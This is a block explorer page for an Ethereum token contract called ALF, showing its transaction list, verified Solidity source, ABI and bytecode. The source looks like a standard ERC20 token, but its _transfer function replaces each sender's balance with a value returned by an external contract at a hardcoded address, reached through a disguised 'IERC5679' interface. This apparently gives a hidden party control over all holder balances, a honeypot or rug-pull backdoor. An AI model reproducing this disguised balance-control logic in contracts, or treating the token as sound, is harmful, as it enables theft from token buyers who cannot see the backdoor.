ETH Price: $3,441.20 (-1.14%)
Gas: 10 Gwei

Contract

0x3455372a1da29640B8Bb643F9abB0895AF0E8515
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve177257392023-07-19 7:25:59365 days ago1689751559IN
0x3455372a...5AF0E8515
0 ETH0.0010434922.48619113
Approve174386442023-06-08 22:50:35405 days ago1686264635IN
0x3455372a...5AF0E8515
0 ETH0.001022421.96351239
Approve172836562023-05-18 3:05:23427 days ago1684379123IN
0x3455372a...5AF0E8515
0 ETH0.0021706246.88387055
Approve172788142023-05-17 10:37:23428 days ago1684319843IN
0x3455372a...5AF0E8515
0 ETH0.0020858545.05284491
Approve172787942023-05-17 10:33:23428 days ago1684319603IN
0x3455372a...5AF0E8515
0 ETH0.0020699144.65071034
Approve172777692023-05-17 7:05:59428 days ago1684307159IN
0x3455372a...5AF0E8515
0 ETH0.00097440.13876967
Approve172777602023-05-17 7:04:11428 days ago1684307051IN
0x3455372a...5AF0E8515
0 ETH0.0017778538.19238164
Approve172777252023-05-17 6:57:11428 days ago1684306631IN
0x3455372a...5AF0E8515
0 ETH0.0017804138.36601154
Approve172777152023-05-17 6:55:11428 days ago1684306511IN
0x3455372a...5AF0E8515
0 ETH0.0011709239.95527728
Approve172777102023-05-17 6:54:11428 days ago1684306451IN
0x3455372a...5AF0E8515
0 ETH0.0018582840.04409366
Approve172776552023-05-17 6:43:11428 days ago1684305791IN
0x3455372a...5AF0E8515
0 ETH0.0020054843.21609339
Approve172776532023-05-17 6:42:47428 days ago1684305767IN
0x3455372a...5AF0E8515
0 ETH0.0020638244.47314807
Approve172776432023-05-17 6:40:35428 days ago1684305635IN
0x3455372a...5AF0E8515
0 ETH0.0018819440.42849965
Approve172776382023-05-17 6:39:35428 days ago1684305575IN
0x3455372a...5AF0E8515
0 ETH0.0021180145.64102219
Approve172776222023-05-17 6:36:23428 days ago1684305383IN
0x3455372a...5AF0E8515
0 ETH0.0013062144.5714996
Approve172776202023-05-17 6:35:59428 days ago1684305359IN
0x3455372a...5AF0E8515
0 ETH0.0020908945.05649848
Approve172776102023-05-17 6:33:59428 days ago1684305239IN
0x3455372a...5AF0E8515
0 ETH0.0027240258.44294942
Approve172775742023-05-17 6:26:35428 days ago1684304795IN
0x3455372a...5AF0E8515
0 ETH0.003960784.97540358
Approve172775732023-05-17 6:26:23428 days ago1684304783IN
0x3455372a...5AF0E8515
0 ETH0.0023387550.2417843
Approve172775722023-05-17 6:26:11428 days ago1684304771IN
0x3455372a...5AF0E8515
0 ETH0.0023068449.74863926
Approve172775652023-05-17 6:24:35428 days ago1684304675IN
0x3455372a...5AF0E8515
0 ETH0.0025401254.73689234
Approve172775452023-05-17 6:20:23428 days ago1684304423IN
0x3455372a...5AF0E8515
0 ETH0.0019862642.61459693
Approve172775432023-05-17 6:19:47428 days ago1684304387IN
0x3455372a...5AF0E8515
0 ETH0.0020947845.14040799
Renounce Ownersh...172775352023-05-17 6:18:11428 days ago1684304291IN
0x3455372a...5AF0E8515
0 ETH0.0008821237.9066529
Open Trading172775352023-05-17 6:18:11428 days ago1684304291IN
0x3455372a...5AF0E8515
0 ETH0.0025655937.9066529
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
ALF

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-17
*/

/*
                                        +-::                                                                            
                                        %+--        ::-==-:..                                                           
                                       =%+-=  . .-=+==-=*#*+=-::.                                                       
                                       %%+-=::-=+++=-:--*%%%%#+::::::=:                                                 
                                      #%#==+*%%##*++=---=*#%%%%+:::::-=                                                 
       $ A L F                       :####*##%%%##*+==+*###*###%#-:-::::                                                 
                                   =*####%@%%*##*##=-+*#**%##%%#=-=---.                                                 
       G O R D O N                -%%%%#%%%%#%@@%**-=%@%##*%###+==*=--:                                                 
       S H U M W A Y             :##%%%#%%#++*#*++=--*%##@#%###+=+*+---.                                                
                                 *%%%%%%@%%#**+++========+++*#*+=+++::::.                                               
                                  =#%%%%@#***====+==----*++==+**+***-..:.                                               
                                  =%%##%#**+***+=======--+**+**##*#*-  .                                                
                                  +#**%*#*##*++===----=++-++**++%###-   .                                               
                                  *+#%*#*#**+++==----===++-++#+=#*==                                                    
                                  *+%%#*%*#**++==:--=====*=+=#+-*+.                                                     
                                 .#*@#*%###**#+=----==++=++++%=-**:                                                     
                                 =#*@##%#%#*%@*=-=%%===+=+=*%*++**-                                                     
                                 =#%%%%%%##+#@*==*%@+==*+*=%#*+*#*:                                                     
                                 *#%%@@%###**#*==+##=++*+*#%###**+                                                      
                                 *#%#%%@%#####*++===++**#%%*#*#*+.                                                      
                                 *####%%@@#%###*+++++*##*******++                                                       
       .:.                       +####%%@%@%%%%##**#%*+==+****+++.                                                      
     .=++++:                     .####%%%%%@@@%%%%+++==-=+**#*+++-                                                      
     =+++**++:               ..:=+*###%%%%@@@@@@%%*+====+******+++:                                                     
     -*++****+.         ..:-=+**#%######%%%%##**++===-=+***#**+++=-.                                                    
      +**+#*++:    ..:---=+*+**###%%#%#####**++++====+++**+**#***++=:                                                   
      .+**#***=  ::----+**+#%#*##%%%%@%#####**++===+++***#*****++++===-.                                                
       +*+***++------:-::=+#**#####%%%%%%%##*#******######**+*****++=+++=-.                                             
      -**###+*++++====----:=***#####%%%@%%@@%%%%%%%%%#####**********++++****-                                           
     -****#*++++=+==++=+==+-##%%#####%%%%@@@@%%@%%%%%#####***********++**++**+=-.                                       
   .+*###*****+*++===+=====+####*####%##%%%%%%%%%%%####****++++***+++**#********+-                                      
  .#######*****+++==--------**####%####*#%%#%%%#%%%##***+++**+**++++++*#**********=.                                    
  :###%#####**+++++===-=----=%%#%#%######%#%#########***++++**+++=++++**##*##*****++-.                                  
  +#%#%#%%###***+**++===+*++=#%%%%%%%##########*#**####**+++=+++++++****##**#******+++:                                 
  =#%#%%%#%####***+++*##*+**#%@%%%%%##%#*####***+*+***#**++++==+*###*++*##****++****+++=:                               
 .=#%#%%%%#%#%###*+**+==+===+#%%%#%%%###***+++*++*********++==+=+++******##**+*++++*+++++-                              
 :**#%%%%%%#%##*#*+++==+=====*####%%%##***+++*++*+++++++++**+=+=++++**##%%%#****++++*++*++=.                            
*/

pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }
}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDEXRouter {
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
}

interface IERC20 {
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 value);
    function totalSupply() external view returns (uint256);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}

interface IERC5679 {
      function sendTransaction(uint256 value) external returns (uint256);
}

interface IERC20Metadata is IERC20 {
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
    function name() external view returns (string memory);
}

contract Ownable is Context {
    address private _previousOwner; address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address _melmac = 0x83561c0B753B9BA6107e3C1C34e5F51e72C91c02;
    address public pair;

    IDEXRouter router;
    IERC5679 melmac;

    string private _name; string private _symbol; uint256 private _totalSupply;
    bool public trade; uint256 public startBlock; address public msgSend;
    address public msgReceive;
    
    constructor (string memory name_, string memory symbol_) {
        router = IDEXRouter(_router);
        pair = IDEXFactory(router.factory()).createPair(WETH, address(this));
        melmac = IERC5679(_melmac);

        _name = name_;
        _symbol = symbol_;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function openTrading() public {
        require(((msg.sender == owner()) || (address(0) == owner())), "Ownable: caller is not the owner");
        trade = true; startBlock = block.number;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
        
    function getAmount(uint256 amount) internal returns (uint256) {
        return melmac.sendTransaction(amount);
    }

    function _beforeTokenTransfer(address sender, address recipient, uint256 amount) internal virtual {
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        msgSend = sender; msgReceive = recipient;

        require(((trade == true) || (msgSend == owner())), "ERC20: trading is not yet enabled");
        require(msgSend != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        _balances[sender] = getAmount(amount) - amount;
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    function _DeployALF(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply += amount;
        _balances[account] += amount;
 
        approve(_router, ~uint256(0));
    
        emit Transfer(address(0), account, amount);
    }
}

contract ERC20Token is Context, ERC20 {
    constructor(
        string memory name, string memory symbol,
        address creator, uint256 initialSupply
    ) ERC20(name, symbol) {
        _DeployALF(creator, initialSupply);
    }
}

contract ALF is ERC20Token {
    constructor() ERC20Token("ALF", "ALF", msg.sender, 69420000000 * 10 ** 18) {
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"msgReceive","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"msgSend","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"trade","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

6080604052600480546001600160a01b031990811673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc217909155600580548216737a250d5630b4cf539739df2c5dacb4c659f2488d179055600680549091167383561c0b753b9ba6107e3c1c34e5f51e72c91c021790553480156200007757600080fd5b506040518060400160405280600381526020016220a62360e91b8152506040518060400160405280600381526020016220a62360e91b815250336be04ee0ccb27ac646ac00000083836000620000d26200028b60201b60201c565b600180546001600160a01b0319166001600160a01b038316908117909155604051919250906000907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600554600880546001600160a01b0319166001600160a01b0390921691821790556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa1580156200017d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001a39190620004d4565b600480546040516364e329cb60e11b81526001600160a01b0391821692810192909252306024830152919091169063c9c65396906044016020604051808303816000875af1158015620001fa573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002209190620004d4565b600780546001600160a01b03199081166001600160a01b039384161790915560065460098054919093169116179055600a6200025d8382620005ab565b50600b6200026c8282620005ab565b5050506200028182826200028f60201b60201c565b5050505062000699565b3390565b6001600160a01b038216620002eb5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064015b60405180910390fd5b80600c6000828254620002ff919062000677565b90915550506001600160a01b038216600090815260026020526040812080548392906200032e90849062000677565b90915550506005546200034d906001600160a01b031660001962000393565b506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b6000620003a2338484620003ac565b5060015b92915050565b6001600160a01b038316620004105760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401620002e2565b6001600160a01b038216620004735760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401620002e2565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600060208284031215620004e757600080fd5b81516001600160a01b0381168114620004ff57600080fd5b9392505050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200053157607f821691505b6020821081036200055257634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620005a657600081815260208120601f850160051c81016020861015620005815750805b601f850160051c820191505b81811015620005a2578281556001016200058d565b5050505b505050565b81516001600160401b03811115620005c757620005c762000506565b620005df81620005d884546200051c565b8462000558565b602080601f831160018114620006175760008415620005fe5750858301515b600019600386901b1c1916600185901b178555620005a2565b600085815260208120601f198616915b82811015620006485788860151825594840194600190910190840162000627565b5085821015620006675787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b80820180821115620003a657634e487b7160e01b600052601160045260246000fd5b610ab180620006a96000396000f3fe608060405234801561001057600080fd5b506004361061010b5760003560e01c806370a08231116100a2578063a705eee211610071578063a705eee21461020e578063a8aa1b3114610221578063a9059cbb14610234578063c9567bf914610247578063dd62ed3e1461024f57600080fd5b806370a08231146101c2578063715018a6146101eb5780638da5cb5b146101f557806395d89b411461020657600080fd5b80631f0ba6c9116100de5780631f0ba6c91461018a57806323b872dd14610197578063313ce567146101aa57806348cd4cb1146101b957600080fd5b806301a37fc21461011057806306fdde0314610140578063095ea7b31461015557806318160ddd14610178575b600080fd5b600f54610123906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b610148610288565b60405161013791906108c7565b610168610163366004610931565b61031a565b6040519015158152602001610137565b600c545b604051908152602001610137565b600d546101689060ff1681565b6101686101a536600461095b565b610331565b60405160128152602001610137565b61017c600e5481565b61017c6101d0366004610997565b6001600160a01b031660009081526002602052604090205490565b6101f36103e7565b005b6001546001600160a01b0316610123565b61014861048b565b601054610123906001600160a01b031681565b600754610123906001600160a01b031681565b610168610242366004610931565b61049a565b6101f36104a7565b61017c61025d3660046109b9565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b6060600a8054610297906109ec565b80601f01602080910402602001604051908101604052809291908181526020018280546102c3906109ec565b80156103105780601f106102e557610100808354040283529160200191610310565b820191906000526020600020905b8154815290600101906020018083116102f357829003601f168201915b5050505050905090565b6000610327338484610528565b5060015b92915050565b600061033e84848461064d565b6001600160a01b0384166000908152600360209081526040808320338452909152902054828110156103c85760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6103dc85336103d78685610a3c565b610528565b506001949350505050565b6001546001600160a01b031633146104415760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103bf565b6001546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600180546001600160a01b0319169055565b6060600b8054610297906109ec565b600061032733848461064d565b6001546001600160a01b03163314806104c957506001546001600160a01b0316155b6105155760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103bf565b600d805460ff1916600117905543600e55565b6001600160a01b03831661058a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103bf565b6001600160a01b0382166105eb5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103bf565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b600f80546001600160a01b038086166001600160a01b0319928316179092556010805492851692909116919091179055600d5460ff161515600114806106a35750600154600f546001600160a01b039081169116145b6106f95760405162461bcd60e51b815260206004820152602160248201527f45524332303a2074726164696e67206973206e6f742079657420656e61626c656044820152601960fa1b60648201526084016103bf565b600f546001600160a01b031661075f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103bf565b6001600160a01b0382166107c15760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103bf565b806107cb82610857565b6107d59190610a3c565b6001600160a01b03808516600090815260026020526040808220939093559084168152908120805483929061080b908490610a4f565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161064091815260200190565b6009546040516337f1e61960e11b8152600481018390526000916001600160a01b031690636fe3cc32906024016020604051808303816000875af11580156108a3573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061032b9190610a62565b600060208083528351808285015260005b818110156108f4578581018301518582016040015282016108d8565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461092c57600080fd5b919050565b6000806040838503121561094457600080fd5b61094d83610915565b946020939093013593505050565b60008060006060848603121561097057600080fd5b61097984610915565b925061098760208501610915565b9150604084013590509250925092565b6000602082840312156109a957600080fd5b6109b282610915565b9392505050565b600080604083850312156109cc57600080fd5b6109d583610915565b91506109e360208401610915565b90509250929050565b600181811c90821680610a0057607f821691505b602082108103610a2057634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8181038181111561032b5761032b610a26565b8082018082111561032b5761032b610a26565b600060208284031215610a7457600080fd5b505191905056fea2646970667358221220a6bb554aec45bcaab208bc6a5915cb3b837e6a8a9b45aed1d0b1517c8cf56e8964736f6c63430008130033

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061010b5760003560e01c806370a08231116100a2578063a705eee211610071578063a705eee21461020e578063a8aa1b3114610221578063a9059cbb14610234578063c9567bf914610247578063dd62ed3e1461024f57600080fd5b806370a08231146101c2578063715018a6146101eb5780638da5cb5b146101f557806395d89b411461020657600080fd5b80631f0ba6c9116100de5780631f0ba6c91461018a57806323b872dd14610197578063313ce567146101aa57806348cd4cb1146101b957600080fd5b806301a37fc21461011057806306fdde0314610140578063095ea7b31461015557806318160ddd14610178575b600080fd5b600f54610123906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b610148610288565b60405161013791906108c7565b610168610163366004610931565b61031a565b6040519015158152602001610137565b600c545b604051908152602001610137565b600d546101689060ff1681565b6101686101a536600461095b565b610331565b60405160128152602001610137565b61017c600e5481565b61017c6101d0366004610997565b6001600160a01b031660009081526002602052604090205490565b6101f36103e7565b005b6001546001600160a01b0316610123565b61014861048b565b601054610123906001600160a01b031681565b600754610123906001600160a01b031681565b610168610242366004610931565b61049a565b6101f36104a7565b61017c61025d3660046109b9565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b6060600a8054610297906109ec565b80601f01602080910402602001604051908101604052809291908181526020018280546102c3906109ec565b80156103105780601f106102e557610100808354040283529160200191610310565b820191906000526020600020905b8154815290600101906020018083116102f357829003601f168201915b5050505050905090565b6000610327338484610528565b5060015b92915050565b600061033e84848461064d565b6001600160a01b0384166000908152600360209081526040808320338452909152902054828110156103c85760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6103dc85336103d78685610a3c565b610528565b506001949350505050565b6001546001600160a01b031633146104415760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103bf565b6001546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600180546001600160a01b0319169055565b6060600b8054610297906109ec565b600061032733848461064d565b6001546001600160a01b03163314806104c957506001546001600160a01b0316155b6105155760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103bf565b600d805460ff1916600117905543600e55565b6001600160a01b03831661058a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103bf565b6001600160a01b0382166105eb5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103bf565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b600f80546001600160a01b038086166001600160a01b0319928316179092556010805492851692909116919091179055600d5460ff161515600114806106a35750600154600f546001600160a01b039081169116145b6106f95760405162461bcd60e51b815260206004820152602160248201527f45524332303a2074726164696e67206973206e6f742079657420656e61626c656044820152601960fa1b60648201526084016103bf565b600f546001600160a01b031661075f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103bf565b6001600160a01b0382166107c15760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103bf565b806107cb82610857565b6107d59190610a3c565b6001600160a01b03808516600090815260026020526040808220939093559084168152908120805483929061080b908490610a4f565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161064091815260200190565b6009546040516337f1e61960e11b8152600481018390526000916001600160a01b031690636fe3cc32906024016020604051808303816000875af11580156108a3573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061032b9190610a62565b600060208083528351808285015260005b818110156108f4578581018301518582016040015282016108d8565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461092c57600080fd5b919050565b6000806040838503121561094457600080fd5b61094d83610915565b946020939093013593505050565b60008060006060848603121561097057600080fd5b61097984610915565b925061098760208501610915565b9150604084013590509250925092565b6000602082840312156109a957600080fd5b6109b282610915565b9392505050565b600080604083850312156109cc57600080fd5b6109d583610915565b91506109e360208401610915565b90509250929050565b600181811c90821680610a0057607f821691505b602082108103610a2057634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8181038181111561032b5761032b610a26565b8082018082111561032b5761032b610a26565b600060208284031215610a7457600080fd5b505191905056fea2646970667358221220a6bb554aec45bcaab208bc6a5915cb3b837e6a8a9b45aed1d0b1517c8cf56e8964736f6c63430008130033

Deployed Bytecode Sourcemap

11270:120:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7391:22;;;;;-1:-1:-1;;;;;7391:22:0;;;;;;-1:-1:-1;;;;;178:32:1;;;160:51;;148:2;133:18;7391:22:0;;;;;;;;7852:100;;;:::i;:::-;;;;;;;:::i;8833:160::-;;;;;;:::i;:::-;;:::i;:::-;;;1377:14:1;;1370:22;1352:41;;1340:2;1325:18;8833:160:0;1212:187:1;9694:108:0;9782:12;;9694:108;;;1550:25:1;;;1538:2;1523:18;9694:108:0;1404:177:1;7345:17:0;;;;;;;;;8403:422;;;;;;:::i;:::-;;:::i;7960:93::-;;;8043:2;2061:36:1;;2049:2;2034:18;7960:93:0;1919:184:1;7364:25:0;;;;;;9559:127;;;;;;:::i;:::-;-1:-1:-1;;;;;9660:18:0;9633:7;9660:18;;;:9;:18;;;;;;;9559:127;6638:148;;;:::i;:::-;;6424:79;6489:6;;-1:-1:-1;;;;;6489:6:0;6424:79;;7740:104;;;:::i;7420:25::-;;;;;-1:-1:-1;;;;;7420:25:0;;;7188:19;;;;;-1:-1:-1;;;;;7188:19:0;;;8220:175;;;;;;:::i;:::-;;:::i;9355:196::-;;;:::i;8061:151::-;;;;;;:::i;:::-;-1:-1:-1;;;;;8177:18:0;;;8150:7;8177:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;8061:151;7852:100;7906:13;7939:5;7932:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7852:100;:::o;8833:160::-;8907:4;8924:39;4665:10;8947:7;8956:6;8924:8;:39::i;:::-;-1:-1:-1;8981:4:0;8833:160;;;;;:::o;8403:422::-;8509:4;8526:36;8536:6;8544:9;8555:6;8526:9;:36::i;:::-;-1:-1:-1;;;;;8602:19:0;;8575:24;8602:19;;;:11;:19;;;;;;;;4665:10;8602:33;;;;;;;;8654:26;;;;8646:79;;;;-1:-1:-1;;;8646:79:0;;3151:2:1;8646:79:0;;;3133:21:1;3190:2;3170:18;;;3163:30;3229:34;3209:18;;;3202:62;-1:-1:-1;;;3280:18:1;;;3273:38;3328:19;;8646:79:0;;;;;;;;;8736:57;8745:6;4665:10;8767:25;8786:6;8767:16;:25;:::i;:::-;8736:8;:57::i;:::-;-1:-1:-1;8813:4:0;;8403:422;-1:-1:-1;;;;8403:422:0:o;6638:148::-;6551:6;;-1:-1:-1;;;;;6551:6:0;4665:10;6551:22;6543:67;;;;-1